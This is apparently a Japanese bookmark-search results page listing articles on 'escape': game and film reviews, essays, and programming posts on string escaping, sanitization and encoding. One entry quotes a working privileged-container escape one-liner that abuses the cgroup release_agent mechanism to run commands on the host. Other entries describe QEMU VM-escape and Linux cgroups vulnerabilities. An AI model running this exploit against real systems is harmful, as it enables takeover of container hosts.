並び順

ブックマーク数

期間指定

  • から
  • まで

41 - 70 件 / 70件

新着順 人気順

エスケープの検索結果41 - 70 件 / 70件

  • QEMU脆弱性を利用したVMエスケープ攻撃の検証のまとめ

    連載「OSS脆弱性ウォッチ」では、さまざまなオープンソースソフトウェアの脆弱性に関する情報を取り上げ、解説する。今回は、「QEMU」の脆弱性を悪用したVMエスケープ攻撃に関する事例を紹介するシリーズの最終回。 本連載「OSS脆弱性ウォッチ」では、さまざまなオープンソースソフトウェア(OSS)の脆弱(ぜいじゃく)性に関する情報を取り上げ、解説しています。 連載第12回から数回にわたりOSSのプロセッサエミュレータである「QEMU(キューエミュ)」の脆弱性を悪用したVM(仮想マシン)エスケープ攻撃に関する事例を、OSSセキュリティ技術の会の佐藤が紹介しています。 このシリーズは今回が最終回です。今回は、連載第13回で紹介した「メモリ情報漏えいの脆弱性」(CVE-2015-5165)と連載第14回で紹介した「ヒープベースのオーバーフロー脆弱性」(CVE-2015-7504)を利用した、VMゲスト

      QEMU脆弱性を利用したVMエスケープ攻撃の検証のまとめ
    • コモラ君の防衛ディフェンスゲーム コモラ・リアルワールドエスケープ pc steam

      コモラ・リアルワールドエスケープレビューです。アイキャッチ画像は販売サイトより引用しています。開発元:うさうさらびっとパブリッシャー:うさうさらびっとより引用。記載されている会社名・製品名・システム名などは、各社の商標、または登録商標です。 あらすじ いつものようにゲームをしていたコモラ君。そんなある日、突然テレビ画面が光だし、テレビの中にコモラ君が吸い込まれてしまった。 そして、気が付いたらそこはゲームの世界だった。 はじめは困惑したコモラ君だったが、次第にゲームの世界を気に入り、 その世界に引きこもってしまった。 数日後、コモラ君の姿を見かけないことを心配したピーナッツ君とチャンチョは コモラ君の部屋を訪れることにした。 部屋に到着したピーナッツ君達だったが、テレビから発される光に吸い込まれてしまい、 ゲームの世界に入ってしまった。 そこでコモラ君を見つけたピーナッツ君はコモラ君を現実

        コモラ君の防衛ディフェンスゲーム コモラ・リアルワールドエスケープ pc steam
      • JavaScriptでサニタイジング(エスケープ処理) | クロジカ

        ホーム / ハック / JavaScriptでサニタイジング(エスケープ処理)

          JavaScriptでサニタイジング(エスケープ処理) | クロジカ
        • [データポータル] 正規表現関数の特殊文字のエスケープ処理を簡略化する方法が追加 | アユダンテ株式会社

          Google データポータルで、正規表現関数の使用時に特殊文字をエスケープ処理する必要がある場合の記述が簡略化できるようになりました。 正規表現関数の使用時に特殊文字をエスケープ処理するには2つのバックスラッシュ(\)が必要で、エスケープ処理が多くなるほど記述が長くなり読みづらくなっていました。 今回追加された生文字列リテラルを使用することで、1つのバックスラッシュ(\)でエスケープ処理ができるようになり、記述が短縮され読みやすくすることができます。 1.データポータルの正規表現関数とエスケープ処理 データポータルでは、表やグラフにデータのフィルタを適用する際に、「含む」「次で始まる」といったマッチタイプの他に「次と一致する正規表現」や「次を含む正規表現」を選択することができます。これにより、データポータルに接続したデータソースに、正規表現による細かな条件でフィルタを適用して、表示したいデ

            [データポータル] 正規表現関数の特殊文字のエスケープ処理を簡略化する方法が追加 | アユダンテ株式会社
          • 素敵な図書館のある街に行こう 前向きエスケープ術 立川吉笑 - 日本経済新聞

            ありがたいこととは思いつつも、時間に追われるスケジュールが長く続くときは、やっぱり消耗する。体力だけならまだしも、心が疲れてしまうといけない。だから「本当に辛(つら)いなぁ」と思ったときだけ発動する自分のための特別措置がある。事務作業でも原稿執筆でも「素敵(すてき)な図書館でやる」というものだ。数年前、ある雑誌の特集で日本中にそんな図書館がいくつもあることを知った。どうせやらねばならない作業な

              素敵な図書館のある街に行こう 前向きエスケープ術 立川吉笑 - 日本経済新聞
            • 謎解きアドベンチャーゲーム Adventure Escape Mysteries アドベンチャーエスケープミステリアス

              Adventure Escape Mysteriesレビューです。アイキャッチ画像は製品・販売サイトより引用しています。開発元:Haiku Games Coパブリッシャー:Haiku Games Coより引用。記載されている会社名・製品名・システム名などは、各社の商標、または登録商標です。 どんなゲーム? このゲームは謎解きアドベンチャーゲームです。画面をクリックして、探偵のように調べていき、観察力や推理、知恵を駆使、ヒントをもとにして謎を解いていきます。殺人ミステリーを解決したり、脱出ゲームをしたり、宝や道具を集めて、手がかりを探し、パズルを解いたりしていきます。ストーリーもワクワクするような素晴らしい内容で、スリルも味わえます。やる気をなくすほど難しくもないです! PCのsteamから無料でダウンロードしてインストールできます。(2020年5月6日現在)スマホのAndroidで配信され

              • 【洋画】「プリズン・エスケープ 脱出への10の鍵(2020)」を観ての感想・レビュー - ロクカジョウ [映画や商品を紹介]

                【監督】フランシス・アナン 【出演】ダニエル・ラドクリフ/ダニエル・ウェバー/イアン・ハート/マーク・レナード・ウィンター/ 【個人的評価】★★★★☆ 【あらすじ】1970年代の南アフリカでのアパルトヘイトに反対して、白人青年のティムとスティーブンは投獄される。2人は、そこから脱獄を考え、様々な方法を考えるが、最高警備を誇る刑務所から脱獄するには一筋縄ではいかないことがわかり、木片から鍵を作り正面から脱獄をしようと計画する。 プリズン・エスケープ 脱出への10の鍵 (字幕/吹替) フランシス・アナン スリラー ¥2037 ・フランシス・アナン監督は、イギリス生まれの映画監督で、2012年「Going Up」2014年「The Longest Drive」で知られている監督です。 ・ダニエル・ラドクリフは、協調運動障害を抱えており、そのために周囲と馴染めないところから、俳優を目指すようになり

                  【洋画】「プリズン・エスケープ 脱出への10の鍵(2020)」を観ての感想・レビュー - ロクカジョウ [映画や商品を紹介]
                • エスケープしようよ。 - ゆるっと広告業界

                  こんばんは、さじです。 「逃げる」と「挑む」って同じ「兆」なんだとゴルゴ先生が仰ってました。先日読んだブログで、昔テレビで見た「命の授業」というゴルゴ松本が少年院に特別授業する番組のYouTubeを紹介してくれてたんです。 www.xn--vcki8dycvf.jp 朝だからちょっとだけ見ようと思ったら全部観てしまった。朝から泣けるんだけど。。もう息子にしか見えない。(家におりますが。) 人の期待に応えようとあんまりがんばっちゃうような性格の方だと学校や仕事が辛くなると思います。テキトーすぎるのもどうかと思いますが、迷惑かからない程度にほどほどにこなした方が生きやすい。自分はけっこう生きやすくて便利です。 「逃げずに挑め」と言ってなくてよかった。挑むってパワー使うもんです。「逃げることができる人はまた挑戦することができる」的な名言があったような。(微妙に違ったけど松岡修造先生でした。修造カ

                    エスケープしようよ。 - ゆるっと広告業界
                  • cgroup の release_agent を使った特権コンテナからのエスケープ

                    元ネタ : https://twitter.com/_fel1x/status/1151487051986087936 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o — Felix Wilhelm (@_fel1x) July 17, 2019 特権( CAP_SYS_ADMIN )コンテナで cgr

                    • Go HTML Template のエスケープの挙動に気をつけよう - 弁護士ドットコム株式会社 Creators’ blog

                      TL; DR Go HTML Template では、渡した文字列がデフォルトでエスケープされますが、Typed Strings を渡すとエスケープされません そこにユーザーが自由に指定できる値を設定すると、XSS 脆弱性につながる恐れがあります Revel の関数の中には、引数に渡した値を、内容はそのまま Typed Strings にして返すものがあります すべての条件が揃うケースは稀ですが、気をつけましょう Go の HTML テンプレート html/template は Go の標準ライブラリです。 他の言語にも存在するような、HTML へのテンプレート展開を実現してくれます。 以下のコードが <!-- greeting := "hello!" --> <p> {{ .greeting }} </p> このように変換されます。 <p> hello! </p> 便利な一方で、変数を

                        Go HTML Template のエスケープの挙動に気をつけよう - 弁護士ドットコム株式会社 Creators’ blog
                      • エスケープ, 特殊文字

                        これまで見てきたように、バックスラッシュ \ は文字クラスを表すのに使われます。例: \d。なので、正規表現の中では特別な文字です。 同様に他にも特殊文字があり、正規表現の中で特別な意味を持ちます。それらはよりパワフルな検索をするために使われます。 これがその完全なリストです: [ \ ^ $ . | ? * + ( ). 覚えようとする必要はありません – それぞれを個別に見ていく際に、自然と覚えていくでしょう。

                          エスケープ, 特殊文字
                        • ギアーズ5、最新映像が公開!「ビルダー」と「エスケープ」モードを解説。 - WPTeq

                          The Coalitionが手がけるGears 5は9月に発売されるXbox One/Windows 10用のサードパーソンシューティングゲームです。 本作はGears of War 4で登場したスワームとケイトディアスの起源に纏わる物語となっています。

                            ギアーズ5、最新映像が公開!「ビルダー」と「エスケープ」モードを解説。 - WPTeq
                          • 「エスケープ・ルーム」続編もある!賞金がかかったデス・ゲーム‥ありがちだけど~これ案外面白い!

                            デス・ゲーム系の映画はけっこうあるんですが、B級作品が多いのも事実‥。 しかし、この作品! けっこう面白かったです! エスケープルームへの招待状が6人に贈られ、1番に脱出した者には賞金1万ドル~軽い気持ちで参加したメンバーだったのですが、いきなり始まったのはデス・ゲーム! エスケープ・ルーム 部屋の温度は熱くなり、このままでは死んでしまう! 何とか脱出方法を見つけ、部屋から脱出するも 次は寒さ地獄‥。 エスケープ・ルーム 温度は下がり、このままでは凍死…。 立っていた氷が割れ、一人は氷の下に落ち死亡‥。 脱出し次の部屋へ 次は反対の部屋、床と天井が真逆になっている。 エスケープ・ルーム 床は崩れ、脱出するもまた一人犠牲になってしまう。 次の部屋では、5分以内に脱出しないと、部屋に毒ガスが噴射されるという部屋‥。 1人がまた犠牲になり、次の部屋へ…。 って感じで、次々と死の部屋に閉じ込められ

                              「エスケープ・ルーム」続編もある!賞金がかかったデス・ゲーム‥ありがちだけど~これ案外面白い!
                            • エスケープだけは許さない猫。Escキーをかじり続ける : カラパイア

                              猫がパソコン回りをテリトリーとするケースは多発しており、特にキーボードは要注意で、意図せぬ「猫語」入力をされてしまって困っている飼い主も多いだろう。私のその中のワンオブゼムだ。 香港に住む猫、扎扎(ジャクジャク)の場合、キーボードの中でも「Esc」キーに並々ならぬ興味を抱いているようで、Escキーだけを狙っては、カリカリと齧りまくっているのだという。 エスケープキーだけに逃亡は許さないってか?

                                エスケープだけは許さない猫。Escキーをかじり続ける : カラパイア
                              • JVNVU#92183876: Apache TomcatのJsonErrorReportValveにおけるエスケープ処理不備の問題

                                JVNVU#92183876 Apache TomcatのJsonErrorReportValveにおけるエスケープ処理不備の問題

                                • JavaScriptで文字列の配列をエスケープしつつ<br>でつなげる - Qiita

                                  function escapeAndJoinWithBr(arr) { const span = document.createElement('span'); span.innerText = arr.join('\n'); return span.innerHTML; }

                                    JavaScriptで文字列の配列をエスケープしつつ<br>でつなげる - Qiita
                                  • 賃金奴隷制を「エスケープ」する3つの方法 - 30歳1000万円でリタイア

                                    貯蓄と投資だけがセミリタイアではない 賃金奴隷制を「エスケープ」する方法 1.搾取する側になる 2.創造的天才になる 3.節約する 終わりに まー適度にくみあわせましょ 賃金奴隷制を「エスケープ」する方法 会社員は「ちんぎんどれい」です。 生きるためにイヤなこと・無意味なことをしなきゃいけない😭 そっから脱出するにはどーするのか。 「How To Escape Wage Slavery(賃金奴隷の抜け出し方)」 というLeo氏の動画がいい感じでした。 その動画では、ふたつの方法が紹介されている。 で、それに私が一個つけくわえます。 1.搾取する側になる 「奴隷がイヤなら主人になればいいじゃない」 起業して他人を雇う 情報ビジネスで情弱社畜をひっかける 投資で金利生活 生活保護などシステムを利用する など。 Leo氏はこのスタイルは「怠惰」だといいます。 搾取されないかわりに、他人を搾取し

                                      賃金奴隷制を「エスケープ」する3つの方法 - 30歳1000万円でリタイア
                                    • 【JavaScript】CSV 書き出しの際に必要なエスケープ処理と二次元配列→文字列変換の方法 - Qiita

                                      こんにちは、ndj です。 二次元配列から変換した CSV(カンマと改行コードで区切ってあるアレです)をファイルなどに書き出す際に値にエスケープ処理を施す必要があったので、そのときの方法を記録しておきます。 また、合わせて二次元配列を CSV 形式の文字列へ変換する方法についても記録しておきます。 なぜエスケープ処理が必要なのか CSV 形式のファイルを作成する際、なぜエスケープ処理が必要なのかといいますと、値の中に,(カンマ)や\n(改行)が含まれてしまっていると、Excel や他のアプリケーションなんかで CSV を読み込んだときに値中に含まれている,(カンマ)や\n(改行)と区切り文字である,(カンマ)や\n(改行)を区別できないわけです。 なので、値は「""(ダブルクォーテーション)」で囲んで値であるということを明示する必要があります。 エスケープ処理を行う方法

                                        【JavaScript】CSV 書き出しの際に必要なエスケープ処理と二次元配列→文字列変換の方法 - Qiita
                                      • VT100のエスケープシーケンス - BK class

                                        ディジタル・イクイップメント・コーポレーション(DEC)が開発していた端末VT100で利用可能であったエスケープシーケンスの一覧です。 VT100のエスケープシーケンス一覧 VT52のエスケープシーケンス一覧 説明 参考資料 VT100のエスケープシーケンス一覧 ESC 7 カーソル位置と属性を保存 ESC 8 保存したカーソル位置と属性を復帰 ESC = アプリケーションキーパッドモードにセット ESC > 数値キーパッドモードにセット ESC D カーソルを一行下へ移動 ESC E 改行、カーソルを次行の最初へ移動 ESC H 現在の桁位置にタブストップを設定 ESC M カーソルを一行上へ移動 ESC Z 端末IDシーケンスを送信 ESC c リセット ESC # 3 カーソル行を倍高、倍幅、トップハーフへ変更 ESC # 4 カーソル行を倍高、倍幅、ボトムハーフへ変更 ESC #

                                        • pytest でテスト名称がマルチバイト文字のときにエスケープされて見辛いとき - tokuhirom's blog

                                          pytest.ini に以下のように記述すればよい。 [pytest] disable_test_id_escaping_and_forfeit_all_rights_to_community_support = true https://github.com/pytest-dev/pytest/pull/4995

                                          • WordPressでエスケープ処理が必要な関数と処理方法

                                            ワードプレスに限らず、すべての Web アプリケーションには脆弱性が少なからずあります。ワードプレステーマ制作をするのであればエスケープは必須の知識です。 このページでは POCO の制作を通じてわかったエスケープ処理の考え方と具体的な方法についてまとめました。 WordPressのエスケープ処理とは何かワードプレスではブラウザを介したデータ入出力の安全性を確保するために、サニタイズ処理とエスケープ処理をそれぞれ定義しています。 サニタイズ (sanitize) :入力データをデータベースに保存する前に不必要なコードを取り除く(無害化)する。 エスケープ (escape) :ブラウザが予期しない動作(表示崩れや求めていないスクリプトの実行)をしないように、ブラウザに出力する文字やコードを置換(回避)する。外部リンク:Data Sanitization/Escaping | Theme De

                                              WordPressでエスケープ処理が必要な関数と処理方法
                                            • Microsoft OpenJDKのエスケープ解析改善を試したら割と効いてる - きしだのHatena

                                              MicrosoftのOpenJDKにエスケープ解析の改善が入ってるってことで試してみました。 https://www.infoq.com/news/2023/02/microsoft-openjdk-feature/ Microsoftのアナウンスはこちら。 https://devblogs.microsoft.com/java/microsoft-build-of-openjdk-october-2022-psu-release/ エスケープ解析は、雑にいうと、メソッド内で生成されてそのメソッド内だけで使われるようなオブジェクトについて、ヒープに確保するのではなくてフィールドをローカル変数に分解して処理をするような最適化です。 正しくは、そいういう最適化が行えることを発見する解析のことだけど。 基本的にはメソッド呼び出しを埋め込み処理に変換するインライン化とあわせて威力を発揮します。 例

                                                Microsoft OpenJDKのエスケープ解析改善を試したら割と効いてる - きしだのHatena
                                              • Linuxのコンテナ技術にエスケープの脆弱性、アップデートを

                                                2022年2月4日、Linuxカーネルにおいて、「CVE-2022-0492」として特権昇格の脆弱性が特定された。っこれはcgroupsのバグで、最近発見されたLinuxの特権昇格系バグとしては注目すべきものとされている。この脆弱性を悪用されると、悪意あるコンテナがエスケープできてしまったり、権限を持たないプロセスが特権昇格して権限を獲得することができたりするとされており注意が必要。 この脆弱性について、Palo Alto Networksが3月3日(米国時間)に公開した次の記事の説明がわかりやすい。 New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Containers Escape? New Linux Vulnerability CVE-2022-0492 Affecting Cgroups: Can Conta

                                                  Linuxのコンテナ技術にエスケープの脆弱性、アップデートを
                                                • jqを利用してエスケープ処理済みのJSON文字列を作成する方法 | DevelopersIO

                                                  こんにちは!DA(データアナリティクス)事業本部 サービスソリューション部の大高です。 本エントリでは、jqを利用してエスケープ処理済みのJSON文字列を作成する方法を紹介したいと思います。 結論 結論から言うと、下記のようなコマンドで作成できます。 $ cat event-detail.json | jq '@json' > escaped-event-detail.json やりたいこと たとえば、AWS CLIを利用する時などに、以下のようなリクエスト形式を持つAPIがあります。 [ { "Time": timestamp, "Source": "string", "Resources": ["string", ...], "DetailType": "string", "Detail": "string", "EventBusName": "string", "TraceHeade

                                                    jqを利用してエスケープ処理済みのJSON文字列を作成する方法 | DevelopersIO
                                                  • GSIから新発売した「エスケープHSポット」が、最高に使えるアウトドアアイテムだったよ…! | ROOMIE(ルーミー)

                                                    こんにちは!ガチキャンプが好きなアウトドアライターのタカマツミキです。 実は最近、めちゃくちゃ使えるアウトドア用品をゲットしてしまいました……! それは……『直火OKのシリコン製の鍋』です。直火がOKのシリコン製って、不思議ですよね。 今回は、購入したアウトドア用品について詳しくご紹介しますよ~! 秘密は鍋底にある! 私が購入したギアは、野外用調理器具をはじめ、さまざまなアウトドア用品を発売しているGSIの「エスケープHSポット 2L」。 見た目は、よくあるシリコン製の折り畳み式のボールのようにも見えますが……! ココを見てください! アルミ製のボトムを採用しているため、直接火にかけることができるんですよ~。 火が当たる底面には、パテント申請中のヒートラジエターを採用し、熱伝導がよく、通常の鍋と比べて30%速くお湯を沸かすことが可能です。 さらに、エスケープHSポット2Lは、ヒートラジエタ

                                                      GSIから新発売した「エスケープHSポット」が、最高に使えるアウトドアアイテムだったよ…! | ROOMIE(ルーミー)
                                                    • 注射エスケープの思い出、「逃げる」ことの重要性! - 涙色のパラドックス

                                                      家で映画を見ていると映画の登場人物が自分の腕に自らブスッと注射をするシーンがあった 映画なんかを見ているとよく見かけるようなシーンだけどよく自分で自分の腕に針をぶっ刺せるもんだなぁと見かけるたびに感心する 今や昔、僕は自分の耳にピアッサーで穴を開けたことがあったがそれですら大分恐ろしく (´;ω;`)「ひぃ…ひいぃ…!」 とビビって躊躇していたものだ まぁ人間には自己防衛本能があるのだから自分の体を傷つけることになんのためらいもないほうがおかしいのだろうが、注射と言えば小学校低学年くらいのころにあった予防接種かなんかの注射をした時の事を思い出す 確か注射は学年やクラスごとに順番で、通常通り授業を受けながら自分たちのクラスの順番が回ってくるのを待っていた これから腕に針をブッ刺されるのだから皆心中穏やかではなく、クラス内には明らかな不安と緊張の空気が渦巻いていた ほどなく自分たちのクラスの順

                                                        注射エスケープの思い出、「逃げる」ことの重要性! - 涙色のパラドックス
                                                      • ls コマンドの「ファイル名」の出力形式(エスケープ)を徹底調査 - Qiita

                                                        はじめに Linux / Unix を使っていて ls コマンドを使ったことがない人はいないと思います。では ls コマンドの出力の「ファイル名」の部分はどのような形式で表示されているか、ご存知でしょうか? 普通のファイル名であれば単純にその名前が表示されます。しかしファイル名に空白や特殊な文字が含まれている場合はそうではありません。この記事では ls コマンドのファイル名がどのような形式で表示されているのかを解説したいと思います。 基礎知識 コマンドの出力形式は出力先で変化する ls コマンドに限りませんが、多くのコマンドは出力先が端末(画面)の場合とそれ以外の場合で出力形式を変えています。端末に出力する時は人間が見やすいようにし、それ以外への出力はデータとしてプログラムから扱いやすいようにするためです。例えば端末に出力するときには色がついていたり、画面幅に応じて自動的に出力を整形したり

                                                          ls コマンドの「ファイル名」の出力形式(エスケープ)を徹底調査 - Qiita
                                                        • JavaScriptで特殊文字エスケープする3つの方法【htmlspecialchars的実装】 | PisukeCode - Web開発まとめ

                                                          JavaScriptにはこういう関数はありません。 HTML特殊文字をエスケープできる関数PHPのhtmlspecialchars的な関数だから自作する必要があります。 いくつか方法があったので、 JSで特殊文字エスケープの方法をまとめました。 大前提.HTMLでエスケープすべき特殊文字とはググれば出てくるけど次の6つです。 「&」 : アンパサンド「'」 : シングルクォート「」 : アクサングラーブ,「"」 : ダブルクオート「<」 : 小なり記号「>」 : 大なり記号関係ないけど 「」 ってアクサングラーブ(またはグレーブアクセント)と呼ぶらしいです。こんな名前があるとは知らなかった これらをエスケープするのはXSS攻撃を防ぐためです。(XSS攻撃については次記事を参照 : https://pisuke-code.com/xss-attack-by-one-line-javascri

                                                            JavaScriptで特殊文字エスケープする3つの方法【htmlspecialchars的実装】 | PisukeCode - Web開発まとめ
                                                          • 『ふたりエスケープ』公式 on Twitter: "オタクの心にある架空の夏について(1/4) https://t.co/76s3dN3OFA"

                                                            オタクの心にある架空の夏について(1/4) https://t.co/76s3dN3OFA

                                                              『ふたりエスケープ』公式 on Twitter: "オタクの心にある架空の夏について(1/4) https://t.co/76s3dN3OFA"
                                                            • [Swift] URLエンコードのエスケープ範囲とその実装方法 | DevelopersIO

                                                              はじめに モバイルアプリサービス部の中安です。 最近、URLエンコードをする処理を書いたのですが、 その際に「URLエンコードって、どこまでエスケープすればよかったんだっけ」となったので、ちょっと調べごとしてみました。 後々の自分への備忘録の意味もこめて、ブログとして残したいと思います。 URLエンコード URLエンコードとは まず、基本的なお話。URLエンコードについてです。 URL/URIのファイル名やクエリ文字列などの一部としては使用できない記号や文字を、使用できる文字の特殊な組み合わせによって表記する変換規則。 表記できない文字の文字コードを16進数で表したものを「%」に続けて表記し、その文字を置き換える。例えば、半角シャープ「#」は「%23」、半角アスタリスク「*」は「%2A」と表記される。 (IT用語辞典) このように、% に続けてエスケープするので「パーセントエンコーディング

                                                                [Swift] URLエンコードのエスケープ範囲とその実装方法 | DevelopersIO